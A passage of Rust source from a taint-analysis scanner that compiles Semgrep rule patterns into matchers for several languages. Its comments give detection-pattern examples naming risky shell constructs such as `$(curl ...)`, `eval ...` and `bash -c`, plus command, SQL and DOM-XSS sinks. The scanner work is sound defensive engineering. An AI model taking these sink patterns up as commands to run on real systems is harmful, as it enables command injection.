///     alternation `metavariable-regex` (`^(sendfile|sendFile)$`) → one
///     `MethodName` per listed method name;
///   - a `$FUNC(...)` pure-metavariable callee whose `$FUNC` is pinned by an
///     anchored-alternation `metavariable-regex` → one `Call` per listed name.
///
/// These reuse the existing `Call`/`MethodName` sink machinery, which only
/// fires when a tracked-tainted value reaches the call's arguments — so the
/// compiled sink is gated on taint AND the concrete callee/method name, keeping
/// it from being an over-broad bare-node sink. Any callee that does not resolve
/// to a concrete name (no regex pin, metavariable left free) produces nothing,
/// so the caller falls through to the normal graceful-degradation extraction.
fn try_compile_focus_call_sink_block(
    v: &YamlValue,
    role: MatcherRole,
    lang: Language,
    out: &mut Vec<GenericMatcher>,
) -> bool {
    let Some(items) = v.as_sequence() else {
        return false;
    };

    let mut seeds: Vec<String> = Vec::new();
    let mut call_texts: Vec<String> = Vec::new();
    let mut metavar_regexes: Vec<(String, String)> = Vec::new();
    collect_focus_call_sink_parts(items, &mut seeds, &mut call_texts, &mut metavar_regexes);

    if seeds.is_empty() || call_texts.is_empty() {
        return false;
    }

    let before = out.len();
    for call in &call_texts {
        // The focused metavariable must be an argument of this call.
        if !seeds.iter().any(|seed| call_has_arg(call, seed)) {
            continue;
        }
        compile_focus_call_callee(call, role, lang, &metavar_regexes, out);
    }
    out.len() > before
}

/// Walk a sink `patterns:` block (recursing into `pattern-either:`/`patterns:`)
/// collecting focused metavariables (`focus-metavariable: $F` and bare
/// `pattern: $F`), call-context texts (`pattern:`/`pattern-inside:` whose value
/// is a call expression), and `metavariable-regex` (metavariable, regex) pairs.
fn collect_focus_call_sink_parts(
    items: &[YamlValue],
    seeds: &mut Vec<String>,
    call_texts: &mut Vec<String>,
    metavar_regexes: &mut Vec<(String, String)>,
) {
    for item in items {
        let Some(map) = item.as_mapping() else {
            continue;
        };
        for (k, val) in map {
            match k.as_str() {
                Some("focus-metavariable") => {
                    if let Some(s) = val.as_str() {
                        let mv = s.trim();
                        if is_metavariable(mv) {
                            seeds.push(mv.to_string());
                        }
                    }
                }
                Some("pattern") => {
                    if let Some(s) = val.as_str() {
                        let t = s.trim();
                        if is_metavariable(t) {
                            seeds.push(t.to_string());
                        } else if is_call_context_pattern(t) {
                            call_texts.push(t.to_string());
                        }
                    }
                }
                Some("pattern-inside") => {
                    if let Some(s) = val.as_str() {
                        let t = s.trim();
                        if is_call_context_pattern(t) {
                            call_texts.push(t.to_string());
                        }
                    }
                }
                Some("metavariable-regex") => {
                    if let Some(m) = val.as_mapping() {
                        let mv = m
                            .get(YamlValue::from("metavariable"))
                            .and_then(YamlValue::as_str);
                        let re = m.get(YamlValue::from("regex")).and_then(YamlValue::as_str);
                        if let (Some(mv), Some(re)) = (mv, re) {
                            metavar_regexes.push((mv.to_string(), re.to_string()));
                        }
                    }
                }
                Some("pattern-either") | Some("patterns") => {
                    if let Some(seq) = val.as_sequence() {
                        collect_focus_call_sink_parts(seq, seeds, call_texts, metavar_regexes);
                    }
                }
                _ => {}
            }
        }
    }
}

/// True when `pat` looks like a (single) call expression: a callee followed by
/// a balanced `(...)` argument list, with the call ending the pattern (allowing
/// a trailing statement `;` / `,...` Semgrep ellipsis already inside the parens).
/// Rejects assignments, binops, blocks, and multi-line definitions.
fn is_call_context_pattern(pat: &str) -> bool {
    let p = pat.trim().trim_end_matches(';').trim();
    // A single logical line (no nested blocks / function bodies).
    if p.contains('\n') || p.contains('{') {
        return false;
    }
    // Must be a call: a `(` opening an argument list that closes at end.
    let Some(open) = p.find('(') else {
        return false;
    };
    if !p.ends_with(')') {
        return false;
    }
    let callee = p[..open].trim();
    if callee.is_empty() {
        return false;
    }
    // The callee must not itself contain call/operator punctuation that would
    // make this an expression rather than a plain `callee(args)` form. A dotted
    // / metavariable chain is fine.
    !callee.contains('(')
        && !callee.contains('=')
        && !callee.contains('+')
        && !callee.contains('%')
        && !callee.contains('[')
}

/// True when the call pattern `call` lists `seed` (a metavariable like `$ARG`)
/// inside its argument list, OR has a wildcard/metavariable argument list
/// (`(...)`, `($X)`) — i.e. the focused metavariable is one of the call's
/// arguments. Bounds the sink to a focus that is genuinely a call argument.
fn call_has_arg(call: &str, seed: &str) -> bool {
    let c = call.trim().trim_end_matches(';').trim();
    let Some(open) = c.find('(') else {
        return false;
    };
    let bytes = c.as_bytes();
    let mut depth = 0i32;
    let mut close = None;
    for (i, &b) in bytes.iter().enumerate().skip(open) {
        match b {
            b'(' => depth += 1,
            b')' => {
                depth -= 1;
                if depth == 0 {
                    close = Some(i);
                    break;
                }
            }
            _ => {}
        }
    }
    let Some(close) = close else {
        return false;
    };
    let args = c[open + 1..close].trim();
    // Literal argument match (token boundary so `$ARG` != `$ARGUMENT`).
    let literal = args
        .split(|ch: char| !is_ident_char(ch) && ch != '$')
        .any(|tok| tok == seed);
    if literal {
        return true;
    }
    // A wildcard argument list (`...` / a bare metavariable) carries the focus.
    args == "..." || args.is_empty() || is_metavariable(args)
}

/// Compile the callee of a recognised focus-call sink to `Call`/`MethodName`
/// matcher(s), pinning a metavariable callee/method with its anchored-alternation
/// `metavariable-regex` where present.
fn compile_focus_call_callee(
    call: &str,
    role: MatcherRole,
    lang: Language,
    metavar_regexes: &[(String, String)],
    out: &mut Vec<GenericMatcher>,
) {
    let c = call.trim().trim_end_matches(';').trim();
    let Some(open) = c.find('(') else {
        return;
    };
    let callee = c[..open].trim();

    // Case 1: `$RECV.$METH(...)` — metavariable receiver + metavariable method.
    // Pin `$METH` via its regex → one `MethodName` per alternative.
    if let Some(dot) = callee.find('.') {
        let recv = &callee[..dot];
        let meth = &callee[dot + 1..];
        if is_metavariable(recv) && is_metavariable(meth) && !meth.contains('.') {
            if let Some(names) = regex_alternatives_for(meth, metavar_regexes) {
                for name in names {
                    out.push(GenericMatcher::MethodName {
                        method: name.clone(),
                        description: describe(&name, role),
                    });
                }
            }
            return;
        }
        // `$RECV.method(...)` — concrete method on a metavariable receiver.
        if is_metavariable(recv) && is_identifier(meth) {
            out.push(GenericMatcher::MethodName {
                method: meth.to_string(),
                description: describe(meth, role),
            });
            return;
        }
    }

    // Case 2: `$FUNC(...)` — pure-metavariable callee. Pin via its regex → one
    // `Call` per alternative.
    if is_metavariable(callee) {
        if let Some(names) = regex_alternatives_for(callee, metavar_regexes) {
            for name in names {
                out.push(GenericMatcher::Call {
                    canonical: name.clone(),
                    description: describe(&name, role),
                });
            }
        }
        return;
    }

    // Case 3: concrete callee (`redirect_to`, `render`, `a.b.method`). Reuse the
    // normal pattern compiler on the call text so it lands in the right shape.
    if let Some(m) = compile_pattern(c, role, lang) {
        if matches!(
            m,
            GenericMatcher::Call { .. } | GenericMatcher::MethodName { .. }
        ) {
            out.push(m);
        }
    }
}

/// If `mv` is constrained by an anchored alternation `metavariable-regex`
/// (`^(a|b|c)$`, with optional `\b...\b` word-boundary wrapping), return the
/// alternative names. Only plain-identifier alternatives are accepted; any
/// non-anchored or non-trivial regex yields `None` (we will not invent names).
fn regex_alternatives_for(mv: &str, metavar_regexes: &[(String, String)]) -> Option<Vec<String>> {
    let (_, re) = metavar_regexes.iter().find(|(m, _)| m == mv)?;
    parse_anchored_alternation(re)
}

/// Parse `^(a|b|c)$` or `\b(a|b|c)\b` (or a single `^a$` / `\ba\b`) into its
/// plain-identifier alternatives. Returns `None` for anything else — we never
/// guess at a non-trivial regex.
fn parse_anchored_alternation(re: &str) -> Option<Vec<String>> {
    let mut body = re.trim();
    // Strip start/end anchors.
    body = body.strip_prefix('^').unwrap_or(body);
    body = body.strip_suffix('$').unwrap_or(body);
    // Strip `\b ... \b` word boundaries.
    body = body.strip_prefix("\\b").unwrap_or(body);
    body = body.strip_suffix("\\b").unwrap_or(body);
    // Strip a single wrapping group.
    if body.starts_with('(') && body.ends_with(')') {
        body = &body[1..body.len() - 1];
    }
    if body.is_empty() {
        return None;
    }
    let names: Vec<String> = body.split('|').map(|s| s.trim().to_string()).collect();
    if names.iter().all(|n| is_identifier(n)) {
        Some(names)
    } else {
        None
    }
}

/// A bare-metavariable callee shape extracted from a `pattern:` text, tagged
/// with the metavariable that a `metavariable-regex` may pin.
enum BareCallee {
    /// `$F(...)` — the whole callee is a metavariable. Compiles to `CallRegex`
    /// (the regex is tested against the full callee text).
    Callee(String),
    /// `$OBJ.$M(...)` — metavariable receiver, metavariable method. Compiles to
    /// `MethodNameRegex` (the regex is tested against the final method name).
    Method(String),
}

/// If `pat` is a call whose callee is a bare metavariable (`$F(...)`) or a
/// metavariable-receiver / metavariable-method (`$OBJ.$M(...)`), return the
/// constrainable metavariable tagged with its shape. Any concrete or partially
/// concrete callee returns `None` (handled by the normal pattern compiler).
fn bare_metavar_callee(pat: &str) -> Option<BareCallee> {
    let c = pat.trim().trim_end_matches(';').trim();
    let open = c.find('(')?;
    let callee = c[..open].trim();
    if let Some(dot) = callee.find('.') {
        let recv = &callee[..dot];
        let meth = &callee[dot + 1..];
        if is_metavariable(recv) && is_metavariable(meth) && !meth.contains('.') {
            return Some(BareCallee::Method(meth.to_string()));
        }
        return None;
    }
    if is_metavariable(callee) {
        return Some(BareCallee::Callee(callee.to_string()));
    }
    None
}

/// Collect, across a `patterns:` block (recursing into `pattern-either:`),
/// every bare-metavariable callee shape from `pattern:` texts and every
/// `metavariable-regex` (metavariable, regex) pin.
fn collect_regex_callee_parts(
    items: &[YamlValue],
    callees: &mut Vec<BareCallee>,
    pins: &mut Vec<(String, String)>,
) {
    for item in items {
        let Some(map) = item.as_mapping() else {
            continue;
        };
        for (key, val) in map {
            match key.as_str() {
                Some("pattern") => {
                    if let Some(text) = val.as_str() {
                        if let Some(bc) = bare_metavar_callee(text) {
                            callees.push(bc);
                        }
                    }
                }
                Some("metavariable-regex") => {
                    if let Some(mm) = val.as_mapping() {
                        let mv = mm
                            .get(YamlValue::from("metavariable"))
                            .and_then(|x| x.as_str());
                        let re = mm.get(YamlValue::from("regex")).and_then(|x| x.as_str());
                        if let (Some(mv), Some(re)) = (mv, re) {
                            pins.push((mv.to_string(), re.to_string()));
                        }
                    }
                }
                Some("pattern-either") => {
                    if let Some(seq) = val.as_sequence() {
                        collect_regex_callee_parts(seq, callees, pins);
                    }
                }
                _ => {}
            }
        }
    }
}

/// Try to recognise the "regex-bounded bare-metavariable callee" SINK shape: a
/// `patterns:` AND-block pairing a bare-metavar callee pattern (`$F(...)` or
/// `$OBJ.$M(...)`) with a `metavariable-regex` that pins that metavariable.
///
/// On recognition, compiles a name-constrained [`GenericMatcher::CallRegex`]
/// (full-callee regex) or [`GenericMatcher::MethodNameRegex`] (method-name
/// regex) and returns `true`. The compiled regex is enforced at match time, so
/// the otherwise-universal bare-metavar callee becomes FP-safe (only callees
/// whose name matches the regex fire).
///
/// Returns `false` (pushing nothing) when no bare-metavar callee is pinned by a
/// `metavariable-regex` — preserving the existing refusal of an unpinned
/// bare-metavar callee. Only the Sink/Sanitizer roles call this.
fn try_compile_regex_constrained_callee_block(
    v: &YamlValue,
    role: MatcherRole,
    rule_id: &str,
    out: &mut Vec<GenericMatcher>,
) -> bool {
    let Some(items) = v.as_sequence() else {
        return false;
    };
    let mut callees: Vec<BareCallee> = Vec::new();
    let mut pins: Vec<(String, String)> = Vec::new();
    collect_regex_callee_parts(items, &mut callees, &mut pins);

    if callees.is_empty() || pins.is_empty() {
        return false;
    }

    let before = out.len();
    for callee in &callees {
        let (mv, is_method) = match callee {
            BareCallee::Callee(mv) => (mv, false),
            BareCallee::Method(mv) => (mv, true),
        };
        // The metavariable MUST be pinned by a `metavariable-regex` — otherwise
        // we stay FP-safe and refuse this bare-metavar callee.
        let Some((_, re)) = pins.iter().find(|(m, _)| m == mv) else {
            continue;
        };
        let regex = match crate::rules::semgrep_compat::compile_regex(re) {
            Ok(r) => r,
            Err(e) => {
                eprintln!(
                    "Warning: taint rule `{}` {} `metavariable-regex` for `{}` is not a valid \
                     regex ({}); refusing the bare-metavariable callee (FP-safe)",
                    rule_id,
                    role.label(),
                    mv,
                    e
                );
                continue;
            }
        };
        let description = describe(re, role);
        if is_method {
            out.push(GenericMatcher::MethodNameRegex { regex, description });
        } else {
            out.push(GenericMatcher::CallRegex { regex, description });
        }
    }

    out.len() > before
}

/// Compile a Bash-specific pattern (shell command or command substitution)
/// into a `Call` matcher keyed by the command name.
///
/// The Bash engine treats a `Call { canonical: "<cmd>" }` matcher as "a shell
/// command whose command name is `<cmd>`" (or, for sources, a command
/// substitution / pipeline whose first command name is `<cmd>`). This lets the
/// generic [`GenericMatcher::Call`] variant carry Bash shell-command sinks and
/// sources without adding a new variant.
fn compile_bash_pattern(pat: &str, role: MatcherRole) -> Option<GenericMatcher> {
    // Strip a leading `$VAR=` assignment so `$VAR=$(... | jq ...)` resolves to
    // its RHS command substitution.
    let rhs = match pat.split_once('=') {
        Some((lhs, rhs)) if lhs.trim_start_matches('$').chars().all(is_ident_char) => rhs.trim(),
        _ => pat,
    };

    // Unwrap a command substitution `$(...)` or backtick `` `...` ``.
    let inner = if let Some(stripped) = rhs.strip_prefix("$(") {
        stripped.strip_suffix(')').unwrap_or(stripped).trim()
    } else if let Some(stripped) = rhs.strip_prefix('`') {
        stripped.strip_suffix('`').unwrap_or(stripped).trim()
    } else {
        rhs
    };

    // The command name is the first whitespace-delimited token. For a pipeline
    // (`cat | jq ...`), the meaningful command for sources is the LAST stage
    // (`jq`) when present, else the first; for sinks it is the first token.
    let cmd = match role {
        MatcherRole::Source => {
            if let Some((_, after_pipe)) = inner.rsplit_once('|') {
                first_token(after_pipe)
            } else {
                first_token(inner)
            }
        }
        MatcherRole::Sink | MatcherRole::Sanitizer => first_token(inner),
    }?;

    // The command name must be a plain identifier-like shell word.
    if cmd.is_empty() || !cmd.chars().all(is_ident_char) {
        return None;
    }

    Some(GenericMatcher::Call {
        canonical: cmd.to_string(),
        description: describe(cmd, role),
    })
}

/// First whitespace-delimited token of a shell command fragment, ignoring a
/// leading subshell `(`.
fn first_token(s: &str) -> Option<&str> {
    s.trim().trim_start_matches('(').split_whitespace().next()
}

fn is_ident_char(c: char) -> bool {
    c.is_ascii_alphanumeric() || c == '_' || c == '-'
}

/// True when `pat` is a function-signature source pattern of the form
/// `function $F(...) <vis> {...}` (Solidity) or `def $C(...) = ...` (Scala) —
/// i.e. a parameter-of-a-function source. The body / visibility specifics are
/// irrelevant; we only require the leading keyword and a parameter list with a
/// Semgrep metavariable. Used to compile such sources to an any-parameter seed.
fn is_function_signature_source(pat: &str) -> bool {
    let pat = pat.trim();
    let starts_fn = pat.starts_with("function ") || pat.starts_with("def ");
    if !starts_fn {
        return false;
    }
    // Must declare a parameter list and reference at least one metavariable
    // parameter (`$X`), so we don't seed on a zero-arg signature.
    pat.contains('(') && pat.contains('$')
}

/// True when `pat` is a Swift "string built dynamically" source pattern:
///
/// - an interpolated string literal `"...\($X)..."` (contains `\(` and `$`);
/// - a concatenation assigned to a variable, `$SQL = "..." + $X` or
///   `$SQL = $X + "..."` (a `=` LHS metavariable, a `+`, a quoted literal, and
///   a metavariable operand).
///
/// These compile to the Swift string-construction sentinel source.
fn is_swift_string_construction_source(pat: &str) -> bool {
    let p = pat.trim();
    // Interpolated string literal: `"...\($X)..."`.
    if p.starts_with('"') && p.contains("\\(") && p.contains('$') {
        return true;
    }
    // Concatenation assignment: `$VAR = "..." + $X` / `$VAR = $X + "..."`.
    if let Some(eq) = find_single_assignment(p) {
        let rhs = p[eq + 1..].trim();
        if rhs.contains('+') && rhs.contains('"') && rhs.contains('$') {
            return true;
        }
    }
    false
}

/// Recognise an Apex chained-call request source of the form
/// `ROOT.<...calls...>.method($MV)` — a method chain rooted at a concrete
/// identifier (`ApexPage`, `RestContext`, …), whose final `.method($MV)` reads
/// a request value into a metavariable. Returns the canonical `ROOT.method`
/// pair, or `None`.
///
/// Examples:
/// - `ApexPage.getCurrentPage().getParameters().get($URLPARAM)`
///   → `Some("ApexPage.get")`
/// - `ApexPage.getCurrentPage().getParameters.get($URLPARAM)`
///   → `Some("ApexPage.get")`
fn parse_apex_chained_call_source(pat: &str) -> Option<String> {
    let p = pat.trim();
    // Must end with a call whose argument list references a metavariable.
    if !p.ends_with(')') {
        return None;
    }
    let open = p.find('(')?;
    // The callee text is everything before the FIRST `(` in a left-to-right
    // chain — but here the first `(` belongs to an intermediate call, so we
    // instead split on the final `.method(` boundary.
    let last_call_open = p.rfind('(')?;
    let callee_chain = p[..last_call_open].trim();
    // Final method name = segment after the last `.` in the callee chain.
    let method = callee_chain.rsplit('.').next()?;
    if method.is_empty()
        || !method
            .chars()
            .all(|c| c.is_ascii_alphanumeric() || c == '_')
    {
        return None;
    }
    // Root identifier = leading identifier before the first `.` or `(`.
    let root_end = callee_chain.find(['.', '(']).unwrap_or(callee_chain.len());
    let root = callee_chain[..root_end].trim();
    if root.is_empty() || !root.chars().all(|c| c.is_ascii_alphanumeric() || c == '_') {
        return None;
    }
    // Require an intermediate call chain (so a plain `root.method(...)` keeps
    // going through the normal Call branch, not this Apex-specific one).
    let has_inner_call = open < last_call_open;
    if !has_inner_call {
        return None;
    }
    // The argument list must reference a metavariable (the focused URL param).
    let args = &p[last_call_open + 1..p.len() - 1];
    if !args.contains('$') {
        return None;
    }
    Some(format!("{root}.{method}"))
}

/// Compile a single Semgrep pattern string into a [`NodeMatcher`].
///
/// Returns `None` if the pattern shape is not one of the supported forms
/// (see module docs). Callers surface that as a skip-with-warning at the
/// rule level.
fn compile_pattern(pattern: &str, role: MatcherRole, lang: Language) -> Option<GenericMatcher> {
    let mut pat = pattern.trim();
    if pat.is_empty() {
        return None;
    }

    // Solidity / Apex statement patterns carry a trailing `;` (e.g.
    // `selfdestruct(...);`, `Database.query($SINK,...);`,
    // `req.setHeader($X, ...);`). Strip it so the call/member shapes below
    // recognise them.
    if matches!(lang, Language::Solidity | Language::Apex) {
        pat = pat.trim_end_matches(';').trim_end();
    }

    // ── Swift string-construction source: `"...\($X)..."`, `$SQL = "..." + $X`,
    //    `$SQL = $X + "..."` ───────────────────────────────────────────────
    //
    // The Swift `swift-potential-sqlite-injection` rule expresses its source as
    // a string assembled by interpolation or by concatenation with a dynamic
    // operand — the constructed string is itself the (low-confidence) taint
    // origin (there is no parameter binding). None of the generic call/param/
    // field shapes recognise these, so we compile them to a sentinel
    // `ParamName` source that the Swift engine interprets as "any interpolated
    // or concatenated string is tainted" (see
    // `swift_taint::STRING_CONSTRUCTION_SENTINEL`). Source role only.
    if lang == Language::Swift {
        if let MatcherRole::Source = role {
            if is_swift_string_construction_source(pat) {
                return Some(GenericMatcher::ParamName {
                    names: vec![swift_taint::STRING_CONSTRUCTION_SENTINEL.to_string()],
                    description: "dynamically constructed string".to_string(),
                });
            }
        }
    }

    // ── Apex chained-call request source: `ROOT.....method($MV)` ────────────
    //
    // Apex SOQL-injection rules read the inbound request parameter via a method
    // chain, e.g. `ApexPage.getCurrentPage().getParameters().get($URLPARAM)`.
    // None of the generic call shapes recognise a callee whose receiver itself
    // contains call parens, so this would otherwise skip. We compile it to a
    // `Call { canonical: "ROOT.method" }` keyed by the leading root identifier
    // and the final method name; the Apex engine matches a `method_invocation`
    // whose final method equals `method` and whose receiver chain contains
    // `ROOT` (so `ApexPage.getCurrentPage()....get(...)` matches `ApexPage.get`).
    // Source role only.
    if lang == Language::Apex {
        if let MatcherRole::Source = role {
            if let Some(canonical) = parse_apex_chained_call_source(pat) {
                return Some(GenericMatcher::Call {
                    description: format!("untrusted `{canonical}` request input"),
                    canonical,
                });
            }
        }
    }

    // ── Bash command / command-substitution shapes ───────────────────────
    //
    // Bash taint rules express sources and sinks as shell commands rather than
    // call expressions, so none of the generic shapes below recognise them.
    // We map a shell command (or command substitution) to a `Call` matcher
    // keyed by the *command name*, which the Bash engine interprets in its own
    // node vocabulary (`command` / `command_substitution`). Examples:
    //   `$(curl ...)`        → Call { "curl" }   (command-substitution source)
    //   `$(cat | jq ...)`    → Call { "cat" }    (first command in a pipeline)
    //   `$VAR=$(... | jq ...)` → Call { "jq" }   (assignment from a pipeline)
    //   `eval ...`           → Call { "eval" }   (command sink)
    //   `cat $SINK`          → Call { "cat" }    (command sink)
    //   `bash -c $...SINK`   → Call { "bash" }   (command sink)
    //   `realpath ...`       → Call { "realpath" } (sanitizer)
    if lang == Language::Bash {
        if let Some(m) = compile_bash_pattern(pat, role) {
            return Some(m);
        }
    }

    // ── Function-signature source: `function $F(..., type $X, ...) public {...}`
    //    (Solidity) / `def $C(..., $P: $T, ...) = ...` (Scala) ───────────────
    //
    // Several Solidity and Scala taint rules express their source as "a
    // parameter of a public/external function" via a full function-signature
    // pattern. None of the generic call/attribute shapes recognise these, so
    // they would otherwise compile to nothing and skip the rule. We compile
    // such a signature to a metavariable [`GenericMatcher::ParamName`] (a name
    // beginning with `$`), which the Solidity / Scala engines interpret as
    // "seed every parameter of the enclosing function as tainted" — matching
    // Semgrep's any-parameter semantics. Source role only.
    if matches!(lang, Language::Solidity | Language::Scala) {
        if let MatcherRole::Source = role {
            if is_function_signature_source(pat) {
                return Some(GenericMatcher::ParamName {
                    names: vec!["$PARAM".to_string()],
                    description: "untrusted function parameter".to_string(),
                });
            }
        }
    }

    // ── ObjectLiteralValue form: tainted value in an object/dict literal ──
    //
    // LLM system-prompt-injection rules (`openai`/`mistral`) express their sink
    // as an object/dict literal whose value field carries tainted text:
    //   `{role: "system", content: $SINK}`        (JS object literal)
    //   `{"role": "system", "content": $SINK}`    (Python dict)
    // The bridge compiles these to an `ObjectLiteralValue` sink; the JS/Python
    // engines fire only when an object/dict literal is actually constructed AND
    // a tainted value reaches one of its value positions. Sink/sanitizer only —
    // a literal construction is a data-flow destination, not a taint origin.
    if is_object_literal_value_pattern(pat) {
        return match role {
            MatcherRole::Sink | MatcherRole::Sanitizer => {
                Some(GenericMatcher::ObjectLiteralValue {
                    description: describe(pat, role),
                })
            }
            MatcherRole::Source => None,
        };
    }

    // ── ReturnValue form: `return $METAVAR` (tainted return value) ────────
    //
    // LLM "unsanitized return" and Flask directly-returned-format rules express
    // their sink as a `return` statement returning a tainted value:
    //   `return $SINK`   /   `return $X`
    // The bridge compiles these to a `ReturnValue` sink; the Python engine fires
    // only when a `return` statement actually returns a tainted value. Bounded
    // to return position (NOT a universal bare-metavar sink). Sink/sanitizer
    // only — a return is a data-flow destination, not a taint origin.
    if let Some(()) = parse_return_metavar(pat) {
        return match role {
            MatcherRole::Sink | MatcherRole::Sanitizer => Some(GenericMatcher::ReturnValue {
                description: describe(pat, role),
            }),
            MatcherRole::Source => None,
        };
    }

    // ── BinopFormat form: string-building sinks ──────────────────────────
    //
    // Semgrep SQL/command-string sinks express tainted concatenation as a
    // binary `+`/`%` expression or an f-string interpolation: `"$SQL" + $EXPR`,
    // `$A + $B`, `$M % $M`, `f"...{$X}..."`. The bridge compiles these to a
    // `BinopFormat` sink; the engine fires only when one operand is a string
    // literal/format AND another operand is tainted, so a literal-only or
    // numeric concatenation never fires (conservative — avoids FPs).
    //
    // Sink/sanitizer only — a concatenation is a data-flow destination, and the
    // `BinopFormat` literal-guard makes it nonsensical as a taint origin.
    if is_binop_format_pattern(pat) {
        return match role {
            MatcherRole::Sink | MatcherRole::Sanitizer => Some(GenericMatcher::BinopFormat {
                description: describe(pat, role),
            }),
            MatcherRole::Source => None,
        };
    }

    // ── Subscript form: `base[...]` / `base[$K]` ─────────────────────────
    //
    // Semgrep taint rules express request-map indexing as a subscript:
    // `params[...]`, `cookies[...]`, `request.POST[...]`,
    // `flask.request.args[...]`, `$VALS[$INDEX]`, `$M[$K]`. The bridge
    // compiles these to `Subscript { base }`, where `base` is the final
    // identifier segment before the `[` (or `None` for a metavariable base).
    //
    // Detection: the pattern ends with `]`, contains a `[`, and the portion
    // before the first `[` is a recognizable base (plain identifier, dotted
    // attribute chain, or a metavariable / metavariable-tailed chain). No
    // top-level `=` (that is a MemberAssign) and the base must not itself be
    // a call. Valid as a source, sink, or sanitizer.
    if let Some(base) = parse_subscript_base(pat) {
        let desc = match &base {
            Some(b) => describe(b, role),
            None => describe(pat, role),
        };
        return Some(GenericMatcher::Subscript {
            base,
            description: desc,
        });
    }

    // ── MemberAssign form: `$METAVAR.field = $X` ────────────────────────
    //
    // Semgrep taint rules for DOM-XSS commonly express property-assignment
    // sinks as `$EL.innerHTML = $X`, `$EL.outerHTML = $X`, etc.  The bridge
    // compiles these to `MemberAssign { field }`, which the JavaScript engine
    // matches against any assignment whose LHS property name equals `field`.
    //
    // Detection: the pattern contains ` = ` (single `=`, not `==`), and the
    // LHS parses as `$METAVAR.plain_field` with no call parens.
    //
    // Only valid as a sink or sanitizer shape — not a source, since a
    // property assignment is a data-flow destination, not an origin.
    if let Some(field) = parse_member_assign_pattern(pat) {
        return match role {
            MatcherRole::Sink | MatcherRole::Sanitizer => Some(GenericMatcher::MemberAssign {
                field: field.to_string(),
                description: describe(field, role),
            }),
            MatcherRole::Source => None,
        };
    }

    // ── Call form: `root.method(...)` or `func($X)` ─────────────────────
    if let Some(open_paren) = pat.find('(') {
        if !pat.ends_with(')') {
            return None;
        }
        let callee = pat[..open_paren].trim();
        if callee.is_empty() {
            return None;
        }

        // ── MethodName shape: `$METAVAR.method($X)` ─────────────────────
        //
        // When the callee is `$VAR.method` — a single metavariable segment
        // followed by exactly one plain identifier — we compile to
        // `MethodName { method }`, which the engine matches against the
        // *final* segment of any resolved callee regardless of receiver.
        //
        // This covers the common Semgrep pattern shape used for OOP sinks
        // like `$CONN.executeQuery($X)`, `$OBJ.innerHTML`, etc., that are
        // currently warn-skipped because the `$`-prefixed segment fails the
        // `is_dotted_identifier` check.
        //
        // Only meaningful as a sink/sanitizer shape (matching any receiver),
        // not a source.
        if let Some(method) = parse_metavar_dot_method(callee) {
            return match role {
                MatcherRole::Sink | MatcherRole::Sanitizer => Some(GenericMatcher::MethodName {
                    method: method.to_string(),
                    description: describe(method, role),
                }),
                MatcherRole::Source => None,
            };
        }

        // ── CALL-ON-MEMBER shape: `<root>.<field>.method($X)` ──────────────
        //
        // A method call whose receiver is itself a member-access chain with a
        // metavariable somewhere (so it is NOT a fully-concrete dotted path,
        // which the `Call` branch already handles). Examples:
        //   `$CLIENT.chat.completions.create(...)` → field `completions`
        //   `$CLIENT.messages.create(...)`         → field `messages`
        //   `$REQ.POST.get(...)`                   → field `POST`
        //
        // The compiled matcher is a `FieldName` on the *penultimate* segment
        // (the field read immediately before the final method). The engine
        // taints that member-read; the trailing `.method(...)` propagates the
        // taint via the existing method-call-on-tainted-root rule. This reuses
        // the FieldName machinery with no new engine variant.
        //
        // Discipline: we only accept this when the penultimate segment is a
        // *concrete* identifier (so we never compile a bare `.get(...)` /
        // `.method(...)` any-receiver matcher, which would be far too broad).
        // The root may be a metavariable or a concrete identifier; any
        // intermediate segments may be metavariables or identifiers.
        if let Some(field) = parse_member_call_penultimate(callee) {
            return Some(GenericMatcher::FieldName {
                field: field.to_string(),
                description: describe(field, role),
            });
        }

        // ── ReceiverCall shape: `receiver.$METHOD($X)` ──────────────────
        //
        // The symmetric counterpart of `MethodName`: a *concrete* receiver
        // identifier followed by a *metavariable* method. Compiled to
        // `ReceiverCall { receiver }`, matching any call whose callee root
        // equals `receiver` regardless of the method name. Covers the common
        // module-call sink shapes `os.$METHOD(...)`, `subprocess.$FUNC(...)`,
        // `Kernel.$X(...)`, `Shell.$X(...)`. Sink/sanitizer only.
        if let Some(receiver) = parse_receiver_dot_metavar(callee) {
            return match role {
                MatcherRole::Sink | MatcherRole::Sanitizer => Some(GenericMatcher::ReceiverCall {
                    receiver: receiver.to_string(),
                    description: describe(receiver, role),
                }),
                MatcherRole::Source => None,
            };
        }

        // Callee must be a plain identifier or dotted identifier chain.
        if !is_dotted_identifier(callee) {
            return None;
        }
        let canonical = callee.to_string();
        return Some(GenericMatcher::Call {
            canonical: canonical.clone(),
            description: describe(&canonical, role),
        });
    }

    // ── PHP-style bare variable: `$_GET`, `$_POST`, `$_REQUEST`, etc. ──────
    //
    // PHP superglobals and user-defined variables start with `$` followed by
    // a valid identifier. When a Semgrep rule for PHP uses a pattern like
    // `$_GET` as a source, `is_dotted_identifier` fails (because `$` is not
    // an ASCII letter or underscore). We handle this explicitly BEFORE the
    // `is_dotted_identifier` guard: a bare `$name` pattern (no call parens,
    // no dots, no spaces) is compiled as `ParamName` for source roles. This
    // allows PHP taint rules to use `pattern: $_GET` as a source.
    if is_php_variable(pat) {
        return match role {
            MatcherRole::Source => Some(GenericMatcher::ParamName {
                names: vec![pat.to_string()],
                description: format!("untrusted `{}` input", pat),
            }),
            MatcherRole::Sink | MatcherRole::Sanitizer => None,
        };
    }

    // ── FieldName form: `$METAVAR.field` (any-receiver property read) ─────
    //
    // Semgrep taint rules overwhelmingly express web-request sources as a
    // property read on a metavariable receiver: `$REQ.body`, `$REQ.query`,
    // `$REQ.headers`, `$REQ.cookies`, `$REQ.params`, `$CTX.params`, etc.
    // The `Attribute` shape requires a *concrete* root identifier, so it
    // rejects a metavariable receiver. `FieldName` matches a property/
    // attribute READ of `field` regardless of receiver.
    //
    // Detection: exactly `$METAVAR.plain_identifier` — a single metavariable
    // segment, a single plain-identifier field, no call parens (handled
    // above), and no assignment `=` (MemberAssign handled above). Valid as a
    // source, sink, or sanitizer shape.
    if let Some(field) = parse_metavar_dot_method(pat) {
        return Some(GenericMatcher::FieldName {
            field: field.to_string(),
            description: describe(field, role),
        });
    }

    // ── Concrete-root, metavar-field source: `request.$ANYTHING` ─────────
    //
    // Django/Flask express "any attribute of the request object is untrusted"
    // as `request.$ANYTHING` (a *concrete* root identifier followed by a
    // metavariable field). We seed taint on the concrete root identifier as a
    // `ParamName` source: because the engine propagates taint from a tainted
    // root through attribute reads (`request.GET`, `request.POST`, …), seeding
    // the root covers every `request.<field>` access — exactly the intent of
